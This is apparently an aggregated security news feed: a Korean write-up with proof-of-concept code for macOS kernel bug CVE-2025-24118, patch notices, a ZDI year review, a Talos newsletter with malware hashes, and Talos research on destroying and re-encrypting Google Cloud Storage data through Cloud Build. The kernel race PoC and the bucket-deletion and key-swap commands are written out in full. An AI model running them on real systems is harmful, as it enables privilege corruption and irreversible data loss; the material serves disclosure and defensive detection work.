  • proc_ro는 프로세스의 민감한 데이터(자격 증명 등)를 관리하는 데 사용되는 읽기 전용 객체이며, zalloc_ro_mut 함수 계열을 통해서만 수정할 수 있습니다.
  • proc_ro.p_ucred 는 프로세스의 자격 증명 구조에 대한 SMR로 보호된 포인터입니다.
  • p_ucred는 SMR 포인터 이므로 writerlock을 통해서 서로 동기화해야 하며, 사용 시 atomic 작업을 통해서 p_ucred를 변경해야 합니다.
  • 읽기 전용 객체를 수정하는 zalloc_ro_mut 함수는 atomic 하지 않아 u_cred를 수정하기에 적합하지 않습니다.

그래서 버그는 코드에 pro_ro.p_ucred를 atomic 하지 않은 함수 zalloc_ro_mut를 통해 업데이트하는 지점에 있습니다. 업데이트 함수 호출 시 잠금 없이 로드되는 p_ucred의 SMR 역참조와 race condition을 일으켜 부분적으로 p_ucred에 값을 써 다른 자격 증명을 가리킬 수 있습니다.

버그 함수

버그는 kauth_cred_proc_update 함수에서 proc_rop_ucred 포인터를 업데이트 시키는 부분에 있습니다.

boolkauth_cred_proc_update(  proc_t                  p,  proc_settoken_t         action,  kauth_cred_derive_t     derive_fn){  kauth_cred_t cur_cred, free_cred, new_cred;  cur_cred = kauth_cred_proc_ref(p);  for (;;) {    new_cred = kauth_cred_derive(cur_cred, derive_fn);    if (new_cred == cur_cred) {      ...      kauth_cred_unref(&new_cred);      kauth_cred_unref(&cur_cred);      return false;    }    proc_ucred_lock(p);    if (__probable(proc_ucred_locked(p) == cur_cred)) {      kauth_cred_ref(new_cred);      kauth_cred_hold(new_cred);      // This is the bug:      zalloc_ro_mut(ZONE_ID_PROC_RO, proc_get_ro(p),          offsetof(struct proc_ro, p_ucred),          &new_cred, sizeof(struct ucred *));      kauth_cred_drop(cur_cred);      ucred_rw_unref_live(cur_cred->cr_rw);      proc_update_creds_onproc(p, new_cred);      proc_ucred_unlock(p);      ...      kauth_cred_unref(&new_cred);      kauth_cred_unref(&cur_cred);      return true;    }    ...  }}

PoC

kauth_cred_proc_updatep_ucred를 변경할 때마다 버그가 발생하지만, 대부분의 작업 흐름에서는 자격 증명을 변경하지 않아 문제가 발생하지 않습니다. Race condition을 발생시키기 위해서는 p_ucred에 쓰기가 발생하는 동안 읽어와야 합니다. 다시 말해 zalloc_ro_mut를 통해서 p_ucred가 변경될 때의 지점을 잡아야 하고 커널에서 해당 흐름은 setuid, setgid, setgroups등이 발생시킬 수 있습니다. 다음 PoC는 setgid를 이용하여 race condition을 증명했습니다.

// Joseph Ravichandran (@0xjprx)// PoC for CVE-2025-24118.// Writeup: https://jprx.io/cve-2025-24118...gid_t rg; // real gidgid_t eg; // effective gidvoid *toggle_cred(void *_unused_) {    while(true) {        // [1]        setgid(rg);        setgid(eg);    }    return NULL;}void *reference_cred(void *_unused_) {    // [2]    volatile gid_t tmp;    while(true) tmp = getgid();        return NULL;}int main(int argc, char **argv) {    pthread_t pool[2 * NUM_THREADS];    rg = getgid();    eg = getegid();    if (rg == eg) {        fprintf(stderr, "Real and effective groups are the same (%d), they need to be different to trigger kauth_cred_proc_update\n", rg);        exit(1);    }    printf("Starting %d thread pairs\n", NUM_THREADS);    printf("rgid: %d\negid: %d\n", rg, eg);    for (int i = 0; i < NUM_THREADS; i++) {        pthread_create(&pool[(2*i)+0], NULL, toggle_cred, NULL);        pthread_create(&pool[(2*i)+1], NULL, reference_cred, NULL);    }    for (int i = 0; i < NUM_THREADS; i++) {        pthread_join(pool[(2*i)+0], NULL);        pthread_join(pool[(2*i)+1], NULL);    }    printf("Done\n");    return 0;}

1 proc_ro.p_ucred에 값을 작성하기 위해 kauth_cred_proc_update 함수를 호출합니다.

setgid가 호출될 때마다 kauth_cred_proc_update는 자격 증명 포인터를 사용자의 p_ucred로 업데이트합니다. 권한이 없는 공격자는 해시 테이블에 저장된 자격 증명 정보를 통해 real gid로 자격 증명을 변경할 수 있습니다.

2 proc_ro.p_ucred를 읽기 위해 current_cached_proc_cred_update 함수를 호출합니다.

unix_syscall64 스레드 간에 다른 자격 증명을 유지하기 위해 모든 syscall 동안 현재 프로세스의 자격 증명을 참조합니다. 그룹 ID 변경과 동시에 실행되는 모든 syscall은 이 읽기를 트리거합니다. 어느 시점에서 이러한 읽기 작업 중 하나가 p_ucred 에 절반 정도 쓰여진 값을 관찰하게 되는데 운이 좋으면 크래시가 발생하고 아니면 자격 증명이 손상됩니다.

PoC 코드를 돌리면 자격 증명 포인터가 손상되므로 커널 패닉이 발생하거나 다른 자격 증명 객체를 가리킬 수 있습니다.

해당 취약점은 atomic 함수를 직접 호출하는 식으로 패치가 제안되었습니다.

@@ -3947,9 +3947,9 @@ kauth_cred_proc_update(            kauth_cred_ref(new_cred);            kauth_cred_hold(new_cred);-            zalloc_ro_mut(ZONE_ID_PROC_RO, proc_get_ro(p),+            zalloc_ro_mut_atomic(ZONE_ID_PROC_RO, proc_get_ro(p),                offsetof(struct proc_ro, p_ucred),-                &new_cred, sizeof(struct ucred *));+                ZRO_ATOMIC_XCHG_LONG, (uint64_t)new_cred);            kauth_cred_drop(cur_cred);            ucred_rw_unref_live(cur_cred->cr_rw);

Reference

https://nvd.nist.gov/vuln/detail/CVE-2025-24118

https://securityonline.info/poc-exploit-released-for-macos-kernel-vulnerability-cve-2025-24118-cvss-9-8/

https://support.apple.com/en-us/122067

Micropatches Released for Active Directory Certificate Services Elevation of Privilege Vulnerability (CVE-2024-49019)

7 February 2025 at 17:30

November 2024 Windows updates brought a fix for CVE-2024-49019, a privilege escalation vulnerability allowing, under specific conditions, a domain user to create a certificate for another domain user, e.g., domain administrator - and then use it for logging in as that user.

The vulnerability was reported to Microsoft by security researchers Lou Scicchitano, Scot Berner, and Justin Bollinger with TrustedSec.

Justin then published a detailed article on this vulnerability,which allowed us to reproduce the issue and create our own patches for security-adopted Windows versions that are no longer receiving updates from Microsoft.

 

Microsoft's Patch

Microsoft patched this by adding a new function call that disables the Extended Key Usage attribute.

 

Our Micropatch

Our patch performs the same operation with additional optimizations to logic and code flow.


Micropatch Availability

Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows Server 2008 R2 - - fully updated without ESU, with ESU 1, ESU 2, ESU 3 or ESU 4
  2. Windows Server 2012 - fully updated without ESU, with ESU 1
  3. Windows Server 2012 R2 - fully updated without ESU, with ESU 1

 

Only Windows Servers are affected by this issue.

Micropatches have already been distributed to, and applied on, all affected online computers with 0patch Agent in PRO or Enterprise accounts (unless Enterprise group settings prevented that). 

Vulnerabilities like these get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, start a free trial, then install and register 0patch Agent. Everything else will happen automatically. No computer reboot will be needed.

We would like to thank researchers  Lou Scicchitano, Scot Berner, and Justin Bollinger with TrustedSec for publishing their analysis, which made it possible for us to create a micropatch for this issue.

Did you know 0patch will security-adopt Windows 10 when it goes out of support in October 2025, allowing you to keep using it for at least 5 more years? Read more about it here.

To learn more about 0patch, please visit our Help Center.

Micropatches Released for Windows OLE Remote Code Execution (CVE-2025-21298)

7 February 2025 at 14:03

  

January 2025 Windows updates brought a fix for CVE-2025-21298, a memory corruption issue in Windows OLE data processing that can be exploited by a malicious Word document or a malicious email read in Outlook to execute arbitrary code on user's computer. (Probably also in multiple other ways, but these would be the obvious attack scenarios.)

The vulnerability was reported to Microsoft by security researchers Jmini, Rotiple, D4m0n with Trend Micro Zero Day Initiative.

Subsequently, security researcher Miloš published their analysis and POC of this vulnerability,which allowed us to reproduce the issue and create our own patches for security-adopted Windows versions that are no longer receiving updates from Microsoft.

 

Microsoft's Patch

The root cause of this issue is in function UtOlePresStmToContentsStm free'ing a stream object, but then storing the just free'd pointer which subsequently gets used again.

Microsoft patched this issue by overwriting the free's stream pointer with NULL, preventing its subsequent use.

 

Our Micropatch

Our patch does the exact same thing as Microsoft's.


Micropatch Availability

Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows 11 v21H2 - fully updated
  2. Windows 10 v21H2 - fully updated
  3. Windows 10 v21H1 - fully updated
  4. Windows 10 v20H2 - fully updated
  5. Windows 10 v2004 - fully updated
  6. Windows 10 v1909 - fully updated
  7. Windows 10 v1809 - fully updated
  8. Windows 10 v1803 - fully updated
  9. Windows 7 - fully updated without ESU, with ESU 1, ESU 2 or ESU 3
  10. Windows Server 2008 R2 - - fully updated without ESU, with ESU 1, ESU 2, ESU 3 or ESU 4
  11. Windows Server 2012 - fully updated without ESU, with ESU 1
  12. Windows Server 2012 R2 - fully updated without ESU, with ESU 1

 

Micropatches have already been distributed to, and applied on, all affected online computers with 0patch Agent in PRO or Enterprise accounts (unless Enterprise group settings prevented that). 

Vulnerabilities like these get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, start a free trial, then install and register 0patch Agent. Everything else will happen automatically. No computer reboot will be needed.

We would like to thank researchers Jmini, Rotiple, and D4m0n for sharing their finding with Microsoft, and security researcher Miloš for publishing their analysis and POC, which made it possible for us to create a micropatch for this issue.

Did you know 0patch will security-adopt Windows 10 when it goes out of support in October 2025, allowing you to keep using it for at least 5 more years? Read more about it here.

To learn more about 0patch, please visit our Help Center.

Looking Back at the Trend ZDI Activities from 2024

7 February 2025 at 17:11

It’s a new year, but before we look forward to breaking all of our resolutions, let’s pause to take a look at the year that was for Trend Zero Day Initiative™ (ZDI).

Pwn2Own Competitions Keep Exceeding Expectations

Even though we just completed Pwn2Own Automotive 2025, we would be remiss if we didn’t mention the inaugural edition that occurred in January 2024. That contest brought together some of the best automotive researchers around the globe to the biggest (literally) Pwn2Own stage in history. The event garnered more participation than expected, as we awarded a record-setting amount of $1,323,750 for the discovery of 49 unique zero-day vulnerabilities across the three days of competition. From there, we moved on to Vancouver, where Manfred Paul wowed us all by hacking Chrome, Edge, Firefox, and Safari on his way to winning Master of Pwn. That event awarded $1,132,500 for 29 unique 0-days and also saw the first Docker escape at a Pwn2Own event. We ended by moving to Ireland and our Cork offices. This contest also saw the end of remote participation and required all contestants to be onsite. Over the four days of the contest, we awarded $1,066,625 for over 70 0-day vulnerabilities. That means Pwn2Own awarded over $3,500,000 in 2024 for 148 unique 0-days.

Figure 1 - Ken Gannon exploiting the Samsung Galaxy S24 at Pwn2Own Ireland

By the Numbers

In 2024, Trend ZDI published 1,741 advisories, which is down slightly from last year’s record high of 1,913 (more on that in a bit). While not a record-setting year, we’re just fine with that total. We don’t need to set a new mark every year – it’s just not sustainable. And while we do work with some of the best researchers from around the globe, our own researchers had a great year, too. Just over 40% of all published advisories were reported by Trend ZDI security researchers. Here’s how those numbers of advisories stack up year-over-year. 

Figure 2 - Published advisories over the lifetime of the program

Coordinated disclosure of vulnerabilities continues to be a priority for our program, and it continues to be a success as well. While 2020 saw our largest percentage of 0-day disclosures, the number declined over the next two years. However, while this number grew in 2023, it was down slightly in 2024. It decreased from 10.2% of disclosures to 9.7% - so not too much of a change at all.

Figure 3 - 0-day disclosures per year

Here’s a breakdown of advisories by vendor. While the top vendor (AutoDesk) may surprise you, we’ve worked with them extensively this year to improve their products. They’ve actually been a great partner to work with. The number two vendor, Delta Electronics, should also indicate to you the state of ICS/SCADA security, which we believe is still not up to par with their enterprise counterparts. This also marks the first year that we reported more Apple bugs than Adobe bugs, but something tells me that the trend won’t continue in 2025. Speaking of Adobe, PDF parsing remains a security challenge for vendors beyond just Acrobat and Reader. Foxit, Kofax/Tungsten Automation, and PDF-XChange all had a significant number of file parsing bugs reported by Trend ZDI.

Figure 4 - Vendor distribution of published advisories in 2024

Of course, we’re always looking to acquire impactful bugs, and here’s an interesting comparison from 2023. Even though we published fewer bugs in 2024, we disclosed more Critical and High severity bugs in 2024 than we did in 2023. We put quality over quantity.

Figure 5 - CVSS distribution of published advisories in 2024

Here’s how that compares to previous years:

Figure 6 - Distribution of CVSS scores from 2015-2024

When it comes to the types of bugs we’re buying, here’s a look at the top 10 Common Weakness Enumerations (CWEs) from 2024:

Figure 7 - Top CWEs of published advisories in 2024

It’s a bit disconcerting to see so many “simple” bugs, such as stack overflows and SQL injections, still account for so many bugs. Let’s hope that changes in 2025.

Looking Ahead

Moving into the new year, we anticipate staying just as busy. We just completed Pwn2Own Automotive 2025 and have a special announcement about our next Pwn2Own contest coming up soon. Don’t worry if you can’t attend in person. We’ll be streaming and posting videos of the event to just about every brand of social media available. We also have more than 350 cases waiting to be patched, and our incoming queue is overflowing as we’re still catching up.

We’re also looking to update our website and blog at some point this year. I know – I said that last year as well, but this time, I mean it. When that occurs, I promise I’ll do everything possible to ensure you will be able to choose between a light and dark theme. We’re also hoping to expand our video offerings, and I’ll continue offering the Patch Report on Patch Tuesdays and hope to tweak the format a bit in the coming year.

As always, we look forward to refining our outreach and acquisition efforts by further aligning with the risks our customers are facing to ensure the bugs we squash have the biggest impact on our customers and the broader ecosystem. In other words, 2025 is shaping up to be another exciting year with impactful research, great contests, and real information you can use. We hope you come along for the ride. Until then, be well, stay tuned to this blog, subscribe to our YouTube channel, and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

Changing the tide: Reflections on threat data from 2024

6 February 2025 at 19:03
“Enough Ripples, And You Change The Tide. For The Future Is Never Truly Set.” X-Men: Days of Future Past
Changing the tide: Reflections on threat data from 2024

In January, I dedicated some time to examine threat data from 2024, comparing it with the previous years to identify anomalies, spikes, and changes.  

As anticipated, the number of Common Vulnerabilities and Exposures (CVEs) rose significantly, from 29,166 in 2023 to 40,289 in 2024, marking a substantial 38% increase. Interestingly, the severity levels of the CVEs remained centered around 7-8 for both years. 

When taking a closer look at the known exploited vulnerabilities reported by the Cybersecurity and Infrastructure Security Agency (CISA), I observed that the numbers remained relatively stable, with 186 in 2024 compared to 187 in 2023. However, there was a noteworthy 36% increase for the critical vulnerabilities scored (9-10).  

There is more to uncover from this data, and the analysis is still ongoing.  

Changing the tide: Reflections on threat data from 2024

It was also time to “stack” the data of our Quarterly Incident Response Reports. The standout aspects are the initial access vectors to me. "Exploiting Public Facing Applications" and "Valid Accounts" were dominant, outperforming other methods. This serves as a timely reminder to implement (proper) MFA and other identity and access control solutions as well as patch regularly and replace end-of-life assets. 

Reflecting on CVEs, patching, initial access vectors and also lateral movement, it's important to remember that the "free" support for Windows 10 will end on October 14, 2025.  

Mark.your.calendars. Please. And plan accordingly to ensure your systems remain secure.  



Newsletter reader survey

We want your feedback! Tell us your thoughts and five lucky readers will receive Talos Swag boxes.

Launch survey

The one big thing

Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities in Observium, three vulnerabilities in Offis, and four vulnerabilities in Whatsup Gold.   

Why do I care?

Observium and WhatsUp Gold can be categorized as Network Monitoring Systems (NMS). A NMS as such holds a lot of valuable information such as Network Topology, Device Inventory, Log Files, Configuration Data and more, making them an attractive for the bad guys. 

So now what?

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, make sure your installation is up to date. 

Top security headlines of the week

The Cybersecurity and Infrastructure Security Agency analyzed a patient monitor used by the Healthcare and Public Health sector and discovered an embedded backdoor. (CISA

Apple has released software updates to address several security flaws across its portfolio, including a zero-day vulnerability that it said has been exploited in the wild. (Hacker News

Nearly 100 journalists and other members of civil society using WhatsApp were targeted by a “zero-click” attack (Guardian

DeepSeek AI tools impersonated by infostealer malware on PyPI (Bleeping Computer

Can't get enough Talos?

Upcoming events where you can find Talos

Talos team members: Martin LEE, Thorsten ROSENDAHL, Yuri KRAMARZ, Giannis TZIAKOURIS, and Vanja SVAJCER will be speaking at Cisco Live EMEA. Amsterdam, Netherlands, 9-14 February.   

S4x25 (February 10-12, 2025)
Tampa, FL

RSA (April 28-May 1, 2025)
San Francisco, CA

TIPS 2025 (May 14-15, 2025)
Arlington, VA

Most prevalent malware files from the week

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

MD5: 2915b3f8b703eb744fc54c81f4a9c67f 

VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

Typical Filename: VID001.exe 

Claimed Product: N/A 

Detection Name: Win.Worm.Coinminer::1201 

 

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

MD5: 71fea034b422e4a17ebb06022532fdde 

VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

Typical Filename: VID001.exe 

Claimed Product: n/a  

Detection Name: Coinminer:MBT.26mw.in14.Talos 

 

SHA256:873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f  

MD5: d86808f6e519b5ce79b83b99dfb9294d   

VirusTotal: 

https://www.virustotal.com/gui/file/873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f 

Typical Filename: n/a  

Claimed Product: n/a   

Detection Name: Win32.Trojan-Stealer.Petef.FPSKK8   

 

SHA 256:7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5   

MD5: ff1b6bb151cf9f671c929a4cbdb64d86   

VirusTotal: https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5  

Typical Filename: endpoint.query   

Claimed Product: Endpoint-Collector   

Detection Name: W32.File.MalParent   

  

SHA 256: 744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

MD5: a5e26a50bf48f2426b15b38e5894b189 

VirusTotal: https://www.virustotal.com/gui/file/744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

Typical Filename: a5e26a50bf48f2426b15b38e5894b189.vir 

Claimed Product: N/A 

Detection Name: Win.Dropper.Generic::1201 

Google Cloud Platform Data Destruction via Cloud Build

6 February 2025 at 11:00

Background & Public Research

Google Cloud Platform Data Destruction via Cloud Build

Google Cloud Platform (GCP) Cloud Build is a Continuous Integration/Continuous Deployment (CI/CD) service offered by Google that is utilized to automate the building, testing and deployment of applications. Orca Security published an article describing certain aspects of the threat surface posed by this service, including a supply chain attack vector they have termed “Bad.Build”. One specific issue they identified, that Cloud Build pipelines with the default Service Account (SA) could be utilized to discover all other permissions assignments in a GCP project, was resolved by Google after Orca reported it. The general threat vector of utilizing Cloud Build pipelines to perform malicious actions, however, is still present. A threat actor with just the ability to submit and run a Cloud Build job (in other words, who has the cloudbuild.builds.create permission) can execute any gcloud GCP command line interface (CLI) command that the Cloud Build SA has the permissions to perform. A threat actor could perform these techniques either by obtaining credentials for a GCP user or SA (Mitre ATT&CK T1078.004) or by pushing or merging code into a repository with a Cloud Build pipeline configured (Mitre T1195.002). Orca Security focused on utilizing this threat vector to perform a supply chain attack by adding malicious code to a victim application in GCP Artifact Registry. Talos did not extensively examine this technique since Orca’s research was quite comprehensive, but confirmed it is still possible.

Original Research

Cisco Talos research detailed below focused on malicious actions enabled by the storage.* permission family, while the original Orca research detailed a supply chain attack scenario enabled by the artifactregistry.* permissions. Beyond the risk posed by the default permissions, any additional permissions assigned to the Cloud Build SA could potentially be leveraged by a threat actor with access to this execution vector, which is an area for potential future research. While Orca mentioned that a Cloud Build job could be triggered by a merge event in a code repository, in their article they utilized the gcloud Command Line Interface (CLI) tool to trigger the malicious build jobs they performed. Talos meanwhile utilized commits to a GitHub repository configured to trigger a Cloud Build job, since this is a form of Initial Access vector that would allow a threat actor to target GCP accounts without access to an identity principal for the GCP account.

Unlike the Orca Security findings, Talos does not assess that the attack path illustrated in the following research represents a vulnerability or badly architected service. There are legitimate business use cases for every capability and default permission that we utilized for malicious intent, and Google has provided robust security recommendations and defaults. This research, instead, should be taken as an instructive illustration of the risks posed by these capabilities for cloud administrators who may be able to limit some of the features that were misused if they are not needed in a particular account. It can also be a guide for security analysts and investigators who can monitor the Operations Log events identified, threat hunt for their misuse, or identify them in a post-incident incident response workflow.

Defensive Recommendations Summary

Talos recommends creating an anomaly model-style threat detection for the default Cloud Build SA performing actions that are not standard for it to execute in a specific environment. As always, properly applying the principle of least privilege by assigning Cloud Build a lower privileged Service Account with just the permissions needed in a particular environment will also reduce the threat surface identified here. Finally, review the configuration applied to any repositories that can trigger Cloud Build or other CI/CD service jobs, require manual approval for builds triggered by Pull Requests (PRs) and avoid allowing anyone to directly commit code to GitHub repositories without a PR. More details on all three of these topics are described below.

Lab Environment Setup

Talos has an existing Google Cloud Platform lab environment utilized for offensive security research. Within that environment, a Cloud Storage bucket was created and the Cloud Build Application Programming Interface (API) were enabled. Additionally, a target GitHub repository was created; For research purposes, this repository was set to private, but an actual adversary would likely take advantage of a public repository in most cases. The Secrets Manager API is also needed for Cloud Build to integrate with GitHub, so that was also enabled. These actions can be performed using the gcloud and GitHub gh CLI tools using the following commands:

gcloud storage buckets create BUCKET_NAME --location=LOCATION --project=PROJECT_ID
gcloud services enable cloudbuild.googleapis.com --project=PROJECT_ID\
gcloud services enable secretmanager.googleapis.com --project=PROJECT_ID
gh repo create REPO_NAME --private --description "Your repository description"

Next, to simulate a real storage bucket populated with data, a small shell script was executed that created 100 text files containing random data and transferred them to the new Cloud Storage bucket.

#!/bin/bash
# Set your bucket name here
BUCKET_NAME="data-destruction-research"
# Create a directory for the files
mkdir -p random_data_files
# Generate 500 files with 10MB of random data
for i in {1..100}
do
    FILE_NAME="random_data_files/file_$i.txt"
    # Use /dev/urandom to generate random data and `head` to limit to 10MB
    head -c $((10*1024*1024)) </dev/urandom > "$FILE_NAME"
    echo "Generated $FILE_NAME"
done
# Upload the files to the GCP bucket
for FILE in random_data_files/*
do
    gsutil cp "$FILE" "gs://$BUCKET_NAME/"
    echo "Uploaded $FILE to gs://$BUCKET_NAME/"
done
Google Cloud Platform Data Destruction via Cloud Build

Then the GitHub repository and Cloud Build were integrated by creating a connection between the two resources, which can be done using the following command, followed by authenticating and granting access on the GitHub.com side.

gcloud builds connections create github CONNECTION_NAME --region=REGION

Finally, a Cloud Build “trigger” that starts a build when code is pushed to the main branch, a pull request (PR) is created, or code is committed to an existing pull request in the victim GitHub repository, was configured. This can be done using the following gcloud command:

gcloud builds triggers create github \
  --name=TRIGGER_NAME \
  --repository=projects/PROJECT_ID/locations/us-west1/connections/data-destruction/repositories/REPO_NAME \
  --branch-pattern=BRANCH_PATTERN # or --tag-pattern=TAG_PATTERN \
  --build-config=BUILD_CONFIG_FILE \
  --region=us-west1
Google Cloud Platform Data Destruction via Cloud Build

Defensive Notes

Google’s documentation warns users that it is recommended to require manual approval to trigger a build if utilizing the creation of a PR or a commit to a PR as a trigger condition, since any user that can read a repo can submit a PR. This is excellent advice that should be followed whenever possible, and reviewers should be made aware of the threat surface posed by Cloud Build. For the purpose of illustrating the potential threat vector here, this advice was not heeded and manual approval was not setup in the Talos lab environment. Builds can also be triggered based on a PR being merged into the main branch, which is another reason besides protecting the integrity of the repository that an approving PR review should be required before PRs are merged.

There may be real world scenarios where a valid business case exists to allow automatic build events when a PR is created, which is why a proper defense in depth strategy should include monitoring the events performed by any Service Accounts assigned to Cloud Build. Google also offers the ability to require a comment containing the string “/gcbrun” from either just a user with the GitHub repository owner or collaborator roles or any contributor to be made on a PR to trigger the Cloud Build run. This is another strong security feature that should be configured with the owner or collaborator option selected if possible. If performing a penetration test or red teaming engagement and attempting to target GCP via a GitHub PR, it may be worth commenting that string on your malicious PR in case the Cloud Build trigger is configured to allow any contributor this privilege.

Research & Recommendations

Data Destruction (Mitre ATT&CK T1485)

Talos has previously covered data destruction for impact within GCP Cloud Storage during the course of a Purple Teaming Engagement focused on GCP, but expanded upon this research and utilized the GitHub-to-Cloud Build execution path in this research. The first specific behavior performed, deleting a Cloud Storage bucket, can be performed using the following gcloud command:

gcloud storage rm --recursive gs://BUCKET_NAME

To perform this via a Cloud Build pipeline, Orca’s simple Proof of Concept (PoC) example Cloud Build configuration file, itself in turn based on the example in Google’s documentation, was modified slightly as follows:

- name: 'gcr.io/cloud-builders/gcloud'
  args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']

This YAML file was then committed to a GitHub branch and a PR was created for it, which can be done utilizing the following commands:

git clone <repo URL>
cd <repo name>
cp ../totally-not-data-destruction.yaml cloudbuild.yaml
git add cloudbuild.yaml
git commit -m "Not going to do anything bad at all"
git push
gh pr create

In the Orca Security research, a Google Cloud Storage (GCS) bucket for the Cloud Build runtime logs is required. Since threat actors typically wish to avoid leaving forensic artifacts behind, they may choose to specify a GCS bucket in a different GCP account under their control. This provides a detection opportunity by looking for the utilization of an external GCS bucket in a Cloud Build event, assuming all the storage buckets in the account are known. However, when running a Cloud Build job via a GitHub or other repository trigger, specifying a GCS bucket for storing logs is not required.

GCP offers the ability to configure “Soft Delete”, a feature that enables the restoration of accidentally or maliciously deleted GCS buckets and objects for a configurable time period. This is a strong security feature and should be enabled whenever possible. However, as is noted in their official documentation, when a bucket is deleted, its name becomes available for use again and if claimed during the creation of a new bucket, it will no longer by possible to restore the deleted GCS bucket. To truly destroy data in a GCS bucket, an adversary therefore just needs to immediately create a new bucket with the same name after deleting the previous one.

The Cloud Build configuration file can be updated to accomplish this as follows:

steps:
- name: 'gcr.io/cloud-builders/gcloud'
  args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']
  args: ['storage', 'buckets', 'create', 'gs://BUCKET_NAME', '--location=BUCKET_LOCATION']

Defensive Notes

Log Events

All of the events discussed above are logged by Google Operations Logs. The following Operations Logs events were identified during the research:

  • google.devtools.cloudbuild.v1.CloudBuild.RunBuildTrigger
    • This event logs the creation of a new build via a connection trigger, such as the GitHub Pull Request trigger method discussed above. This will be very useful for a Digital Forensics & Incident Response (DFIR) investigator as part of an investigation, but is unlikely to be a good basis for a threat detection.
  • google.devtools.cloudbuild.v1.CloudBuild.CreateBuild
    • This event logs the manual creation of a new build, and indicates what identity principal triggered the event. If the build was manually triggered and has a GCS bucket specified as a destination for build logs, that bucket’s name will be specified in the field protoPayload.request.build.logsBucket="gs://gcb_testing". If this field is present, a threat detection or threat hunting query for unknown buckets outside known infrastructure may be of use. Additionally, like with most cloud audit log events, significant quantities of failed CreateBuild events followed by a successful event may be indicative of an adversary attempting to discover new capabilities or escalate privileges Otherwise, since this is a perfectly legitimate event, like RunBuildTrigger it will primarily be of use for DFiR investigations rather than threat detections.
  • storage.buckets.delete
    • An event with this methodName value logs the deletion of a GCS bucket. It is automatically of interest during the course of a DFIR investigation that involves data destruction, and may be worth threat hunting for if the value of the protoPayload.authenticationInfo.principalEmail is the default Cloud Build Service Account. This is not automatically worthy of a threat detection, as it can be legitimate for Cloud Build to use a GCS bucket to store temporary data and delete it after the build is complete, but it is likely a good candidate for an anomaly model detection.
  • storage.buckets.create
    • While relatively uninteresting in isolation, if this event shortly follows a storage.buckets.delete event it may be indicative of an attempt to bypass the protections offered by Safe Delete, as described above. This may be automatically detection worthy, and would definitely be a useful threat hunting or DFIR investigation query.

Data Encrypted for Impact (Mitre ATT&CK T1486)

Cloud object storage is not inherently immune from ransomware, but despite the concerns of a potential for “ransomcloud” attacks and other similar threat vectors, it is actually quite difficult to irreversibly encrypt objects in a cloud storage bucket. It is much more likely that a data-focused cloud impact attack will involve exfiltrating the objects and deleting them before offering them back in exchange for a ransom, rather than encrypting them. In Google Cloud Storage, all objects are encrypted by default using a Google-managed encryption key, but GCS also supports three other methods of encrypting objects. These methods are server side encryption using the Cloud Key Management Service (CKMS) to manage the keys, also known as customer-managed encryption, server side encryption using a customer provided key not stored in the cloud account at all, and client side encryption of the objects. With customer-managed encryption, if an adversary implements this approach, the legitimate owner of the objects will have access to the CKMS and be able to decrypt them. With either a customer provided encryption key or client side encryption, a customer may be able to overwrite the original versions of the objects, though if the bucket has Object Versioning enabled, an administrator can simply revert to a previous version of the object to retrieve it.

If an adversary is able to identify a bucket that does not have Object Versioning configured, they may be able to utilize the Cloud Build attack vector described previously to encrypt existing objects with a customer provided key that they control. This is possible using the following gcloud CLI command:

gcloud storage cp SOURCE_DATA gs://BUCKET_NAME/OBJECT_NAME --encryption-key=YOUR_ENCRYPTION_KEY

And was performed by updating the previously described cloudbuild.yaml file with entries for 10 objects in the bucket, then triggering another build. In an actual attack, enumeration of the stored objects followed by encryption of all of them would be required.

Defensive Notes

The creation of the new encrypted file was logged with an event of type storage.objects.create, but unfortunately there was no indication that a customer-provided encryption key was utilized for encryption in the event’s body. Therefore there was nothing especially anomalous about the event for a detection or investigator to look for. This whole attack vector though can again be obviated by enabling Object Versioning and Soft Delete, so that is highly recommended.

Exciting updates to the Copilot (AI) Bounty Program: Enhancing security and incentivizing innovation

7 February 2025 at 08:00
At Microsoft, we are committed to fostering a secure and innovative environment for our customers and users. As part of this commitment, we are thrilled to announce significant updates to our Copilot (AI) Bounty Program. These changes are designed to enhance the program’s effectiveness, incentivize broader participation, and ensure that our Copilot consumer products remain robust, safe, and secure.

Preventing account takeover on centralized cryptocurrency exchanges in 2025

5 February 2025 at 14:00

By Kelly Kaoudis and Evan Sultanik

This blog post highlights key points from our new white paper Preventing Account Takeovers on Centralized Cryptocurrency Exchanges, which documents ATO-related attack vectors and defenses tailored to CEXes.

Imagine trying to log in to your centralized cryptocurrency exchange (CEX) account and your password and username just… don’t work. You try them again. Same problem. Your heart rate increases a little bit at this point, especially since you are using a password manager. Maybe a service outage is all that’s responsible (knock on wood), and your password will work again as soon as it’s fixed? But it is becoming increasingly likely that you’re the victim of an account takeover (ATO).

